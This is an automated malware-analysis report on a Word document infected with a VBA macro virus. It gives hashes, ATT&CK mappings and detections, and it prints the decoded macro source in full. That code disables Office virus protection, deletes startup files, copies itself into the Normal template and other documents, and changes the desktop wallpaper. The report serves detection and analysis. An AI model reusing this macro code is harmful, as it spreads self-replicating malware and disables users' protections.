Office (OLE) malware analysis — malicious · a6c961283f843f56 | Malicious Document Analyzer

MALICIOUS

Office (OLE)

83.5 KB Created: 2009-11-30 07:38:00 Authoring application: Microsoft Office Word First seen: 2015-09-16

MD5: 217bf9a43c2e4c957914f31053201d67 SHA-1: 80c92f1ce988393646e31255b8f014edc1b22b14 SHA-256: a6c961283f843f56ce898610c1e54e20abb6fe080c64a057403ddb323d6e6bb4

208 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1553.005 Mark-of-the-Web Bypass T1037.001 Boot or Logon Initialization: Script-based T1547.001 Registry Run Keys / Startup Folder

The sample contains VBA macros that are designed to disable macro protection and replicate themselves to other documents and templates, as indicated by the 'OLE_VBA_MACRO_VIRUS_REPLICATION' heuristic. The 'Document_Open' subroutine is present, suggesting an attempt to execute malicious code upon opening the document. The script also attempts to modify application settings and user information, potentially for persistence or to evade detection.

Heuristics 4

ClamAV: Doc.Trojan.Marker-35 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Trojan.Marker-35
VBA macros detected medium 2 related findings OLE_VBA_MACROS

Document contains VBA macro code
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION

VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
Matched line in script
```
Options.VirusProtection = False
```
Document_Open macro low OLE_VBA_DOCOPEN

Document_Open macro
Matched line in script
```
Private Sub Document_Open()
```

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	13222 bytes
SHA-256: `382cfbf24c269c541aec8662acbe097f7f3bf74dfffdda97fd8f77b2228cead4`
Detection ClamAV: Doc.Trojan.Marker-13 Obfuscation or payload: unlikely
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisDocument" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True 'Seline, Where are you dear Const Marker = "<- this is a marker! by jonhehehe TheBest-versi212x" Private Sub Document_Open() Document_Close End Sub Private Sub Document_Close() Dim nmod As Object Dim isd As String Dim DS, NTS, DI, NTI As Boolean Dim Jon, Users, LogData, LogFile As String On Error Resume Next AddIns.Unload True Kill Options.DefaultFilePath(8) & "\.doc" Kill Options.DefaultFilePath(8) & "\.dot" Options.VirusProtection = False Application.UserName = "JonMMx 2000" Application.UserInitials = "MeMeX" Application.UserAddress = "JonMMx2000@yahoo.com" Application.EnableCancelKey = wdCancelDisabled GoSub InsertIon If (System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", _ "LogData in") = False) Then GoSub LoggingIn If Weekday(Now()) = 1 Then GoSub ShowMe GoTo Finish InsertIon: Set ad = ActiveDocument.VBProject.VBComponents.Item(1) Set nt = NormalTemplate.VBProject.VBComponents.Item(1) DI = ad.CodeModule.Find(Marker, 1, 1, 10000, 10000) NTI = nt.CodeModule.Find(Marker, 1, 1, 10000, 10000) If (DI Xor NTI) And (ActiveDocument.SaveFormat = wdFormatDocument Or ActiveDocument.SaveFormat = wdFormatTemplate) Then If DI Then NTS = NormalTemplate.Saved Jon = ad.CodeModule.Lines(1, ad.CodeModule.CountOfLines) For i = 1 To Len(Application.UserAddress) If (Mid(Application.UserAddress, i, 1) <> Chr(13)) Then If (Mid(Application.UserAddress, i, 1) <> Chr(10)) Then Users = Users & Mid(Application.UserAddress, i, 1) End If Else Users = Users & Chr(13) & " '" End If Next Jon = Jon & Chr(13) & _ "' " & Format(Time, "hh:mm:sc AMPM-") & _ Format(Date, "dddd, d mmm yyyy") & Chr(13) & _ "' " & Application.UserName & Chr(13) & _ "' " & Users & Chr(13) & Chr(13) & " " nt.CodeModule.DeleteLines 1, nt.CodeModule.CountOfLines nt.CodeModule.AddFromString Jon If NTS Then NormalTemplate.Save End If If NTI Then DS = ActiveDocument.Saved Jon = nt.CodeModule.Lines(1, nt.CodeModule.CountOfLines) ad.CodeModule.DeleteLines 1, ad.CodeModule.CountOfLines ad.CodeModule.AddFromString Jon If DS Then ActiveDocument.Save End If End If Return LoggingIn: System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\MS Setup (ACME)\User Info", "LogData in") = True GoSub ShowMe Return ShowMe: Dim RootsyS As String On Error Resume Next RootsyS = System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion", "SystemRoot") Open RootsyS & "\Jon.html" For Output As #1 Print #1, "<Html><head><title>Welcome to Destroyer of the last Manillenium JontheBEST</title></head><Body><body bgcolor = '#FFF212' >" Print #1, "<center><p align='center'><font color='#800000'size='25'><strong>a Poet For My Dear Love</strong></font></p>" Print #1, "<p align='center'><font color='#000000' size='6'><strong><a href='mailto:iamwaiting@yahoo.com'>Dear Iin</a></strong></font> </p>" Print #1, "<font normal></center>To the very best that happen in mylife<p>" Print #1, "<p>Long ago and in my mind, I can see your face lonely and lost in time " Print #1, "<p>You were gone since yester month But the memories, never would dissapear" Print #1, "<p>I think of you, I THINK OF YOU.<p>" Print #1, "<p>Yes it's true I can pretend. But the paint of blue, keep beat me till the end." Print #1, "<p>Yes it's hard to understand. Why you leaving me and all we dreaming on " Print #1, "<p>Dear Iin, I close my eyes and see your face. That's all I have to do to be with you. " Print #1, "<p>Dear Iin, altough I can not touch your face. I know what I can do to be with you " Print #1, "<p>Long ago so faraway. But the light of blue, still living with me today." Print #1, "<p>You were gone since yester month. But the memories never would dissapear." Print #1, "<center><font color='#245505' size='6'><strong><p>Speed Hari</strong></font></center></Body></html>" Close #1 System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\General", "Wallpaper") = RootsyS & "\Jon.html" Return Finish: End Sub 'Logfile --> ' 06:14:2518:14:25 -Kamis, 22 Jul 1999 ' JonMMx 2000 ' jonthebest@hotbot.com ' 09:07:259:07:25 -Sabtu, 24 Jun 2017 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 12:13:3712:13:37 AM AM-Saturday, 14 Aug 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 09:55:459:55:45 AM AM-Wednesday, 25 Aug 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 12:03:2112:03:21 PM PM-Friday, 27 Aug 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 02:47:402:47:40 PM PM-Sunday, 29 Aug 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 02:37:562:37:56 AM AM-Monday, 30 Aug 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 10:29:4310:29:43 PM PM-Wednesday, 1 Sep 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 09:28:249:28:24 AM AM-Sunday, 5 Sep 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 12:17:912:17:09 PM PM-Monday, 13 Sep 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 09:48:159:48:15 AM AM-Sunday, 26 Sep 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 08:34:5808:34:58 -Wednesday, 6 Oct 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 05:09:535:09:53 PM PM-Monday, 18 Oct 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 10:55:3110:55:31 AM AM-Wednesday, 20 Oct 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 11:57:5211:57:52 AM AM-Saturday, 6 Nov 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 02:51:302:51:03 PM PM-Monday, 29 Nov 1999 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 11:24:1411:24:14 AM AM-Tuesday, 11 Jan 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 03:57:3103:57:31 PM PM-Thursday, 13 Jan 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 03:26:2203:26:22 下午下午-Thursday, 17 Feb 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 08:55:178:55:17 AM-Tuesday, 21 Mar 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 09:15:509:15:50 AM-Thursday, 30 Mar 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 10:43:1910:43:19 AM-Monday, 22 May 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 08:36:388:36:38 AM-Wednesday, 31 May 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 10:33:210:33:02 AM-Saturday, 17 Jun 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 12:45:4612:45:46 PM-Wednesday, 26 Jul 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 02:12:4714:12:47 PM-Tuesday, 26 Sep 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 03:07:2715:07:27 PM-Tuesday, 14 Nov 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 07:04:3319:04:33 PM-Thursday, 16 Nov 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 06:29:1818:29:18 PM-Wednesday, 22 Nov 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 10:26:2310:26:23 AM-Saturday, 25 Nov 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 07:08:527:08:52 AM-Sunday, 26 Nov 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 08:15:508:15:50 AM-Friday, 22 Dec 2000 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 08:50:158:50:15 AM-Wednesday, 7 Feb 2001 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 09:36:59:36:05 AM-Thursday, 8 Feb 2001 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 03:35:3403:35:34 下午下午-Saturday, 24 Feb 2001 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 12:43:1212:43:12 下午下午-Saturday, 17 Mar 2001 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 10:40:5910:40:59 上午上午-Wednesday, 18 Apr 2001 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 02:51:5702:51:57 下午下午-Friday, 20 Apr 2001 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 01:30:5801:30:58 下午下午-Tuesday, 22 May 2001 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 12:18:5812:18:58 下午下午-Saturday, 16 Jun 2001 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 10:16:722:16:07 下午-Sunday, 27 Feb 2011 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 03:02:1515:02:15 下午-Wednesday, 9 Mar 2011 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 05:54:2517:54:25 下午-Thursday, 17 Mar 2011 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 03:37:1015:37:10 下午-Tuesday, 29 Mar 2011 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 05:53:5917:53:59 下午-Thursday, 14 Apr 2011 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 02:21:3214:21:32 下午-Friday, 13 May 2011 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 09:49:529:49:52 上午-Tuesday, 28 Jun 2011 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 09:34:169:34:16 上午-Sunday, 17 Jul 2011 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 09:26:119:26:11 上午-Saturday, 29 Oct 2011 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 12:43:712:43:07 下午-Wednesday, 9 Nov 2011 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 03:30:5015:30:50 下午-Wednesday, 16 Nov 2011 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 03:49:3415:49:34 下午-Monday, 9 Jan 2012 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 01:29:5513:29:55 下午-Saturday, 14 Jan 2012 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 02:43:3714:43:37 下午-Friday, 17 Feb 2012 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 04:51:4816:51:48 下午-Monday, 23 Apr 2012 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 03:41:2615:41:26 下午-Thursday, 10 May 2012 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 05:23:3317:23:33 下午-Thursday, 7 Jun 2012 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 01:07:2413:07:24 下午-Tuesday, 7 Aug 2012 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 08:29:4208:29:42 上午-Thursday, 23 Aug 2012 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 08:50:568:50:56 上午-Tuesday, 28 Aug 2012 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 10:24:2810:24:28 上午-Wednesday, 29 Aug 2012 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 09:57:021:57:00 下午-Monday, 3 Sep 2012 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 08:20:08:20:00 上午-Tuesday, 18 Sep 2012 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 10:40:5510:40:55 上午-Monday, 15 Oct 2012 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 08:11:308:11:30 上午-Wednesday, 17 Oct 2012 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 04:09:3216:09:32 下午-Monday, 22 Oct 2012 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 10:47:2010:47:20 上午-Tuesday, 6 Nov 2012 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 04:31:216:31:02 下午-Thursday, 31 Jan 2013 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 03:11:2115:11:21 下午-Wednesday, 24 Apr 2013 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 08:14:120:14:01 下午-Wednesday, 24 Apr 2013 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 02:59:5314:59:53 下午-Thursday, 2 May 2013 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 11:33:3011:33:30 上午-Friday, 3 May 2013 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 08:32:378:32:37 上午-Monday, 6 May 2013 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 03:11:4815:11:48 下午-Wednesday, 8 May 2013 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 08:21:398:21:39 上午-Friday, 10 May 2013 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 01:37:5713:37:57 下午-Friday, 17 May 2013 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 08:52:5008:52:50 上午-Friday, 31 May 2013 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 09:42:809:42:08 上午-Monday, 3 Jun 2013 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 01:58:213:58:02 下午-Monday, 17 Jun 2013 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 03:08:3515:08:35 下午-Monday, 17 Jun 2013 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 11:28:1511:28:15 上午-Tuesday, 18 Jun 2013 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 10:05:4610:05:46 上午-Wednesday, 19 Jun 2013 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 08:41:48:41:04 上午-Friday, 5 Jul 2013 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 02:44:3514:44:35 下午-Wednesday, 10 Jul 2013 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 09:41:2709:41:27 上午-Monday, 15 Jul 2013 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 11:51:2811:51:28 上午-Tuesday, 16 Jul 2013 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 05:35:1817:35:18 下午-Tuesday, 30 Jul 2013 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 11:28:4611:28:46 上午-Wednesday, 14 Aug 2013 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 11:16:2711:16:27 上午-Wednesday, 28 Aug 2013 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 10:01:2210:01:22 上午-Saturday, 26 Oct 2013 ' JonMMx 2000 ' JonMMx2000@yahoo.com ' 09:23:519:23:51 上午-Monday, 11 Aug 2014 ' JonMMx 2000 ' JonMMx2000@yahoo.com

Open this report in the interactive analyzer, or submit your own file for analysis.